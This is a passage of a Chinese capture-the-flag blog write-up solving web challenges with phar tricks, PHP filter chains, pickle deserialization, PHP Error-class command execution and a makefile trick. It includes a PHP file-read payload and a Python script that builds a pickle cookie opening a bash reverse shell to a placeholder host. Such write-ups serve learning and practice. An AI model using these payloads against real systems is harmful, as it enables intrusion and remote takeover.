  2. 在 linux 中用 gzip 指令处理 phar 文件即可,phar 伪协议也可以解压.gz 文件
  3. 用其他伪协议绕过,比如 compress.zlib://phar://也可以实现 phar 解压
  4. 构造 payload highlight_file(array_rand(array_flip(scandir(getcwd()))));__HALT_COMPILER();。前者可以随机读取当前目录的文件,再用__HALT_COMPILER();阻止 eval 读入拼接的脏数据。

然后一直刷新就有概率爆 flag。

这题傻逼的地方在于目录底下有 20 多个无关文件,搞起我一直刷新刷不出 flag 以为是方法错了破防了。其实多刷新几次就可以爆 flag。


5.12 连连看

https://github.com/synacktiv/php_filter_chain_generator

用里面的脚本 尾部加一个 <

然后再 filter 链的最后加多个 string.strip_tags

5.13 login

打开看见一个 login 界面,猜测有 register 界面,发现真有,注册一下,登录进去,发现有一个重定向,点击后跳转到一个 hello world 的主界面,抓包看一下,发现 cookie 是 base64 编码,解码发现是 pickle 序列化的形式,应该就是 pickle 反序列化,经过测试一下,发现过滤了字符 r,也就是不能用 R 指令,那我们用其他指令即可

1
2
3
4
5
6
7
import base64
op='''V__setstate__
(S"bash -c 'bash -i >& /dev/tcp/X.X.X.X/port 0>&1'"
ios
system
.'''
print(base64.b64encode(op.encode()))

把网页主页的 cookie 改为这个脚本生成的 payload,再拿服务器反弹 shell 即可


5.14 ezClass

Error 是所有 PHP 内部错误类的基类,其内部存在 getMessage()方法,前半部分将错误信息设成 system,并用 getMessage()方法获取打印出来,后半部分同理,将要执行的命令打印出来,两部分实现拼接,从而通过 system()函数来执行命令,从而获取 flag


5.15 εZ?¿м@Kε¿?

在 makefile 中,$<可以代表一个目标规则中第一个依赖文件的名称,在这里即代表了/flag文件,用<可以将文件内容重定向到标准输出,而用\(()可以替换括号里面的变量值,这里的\)(<$<),就是将/flag 文件里面内容重定向到标准输出并且用 $$()将其替换出来

Categories:

Updated: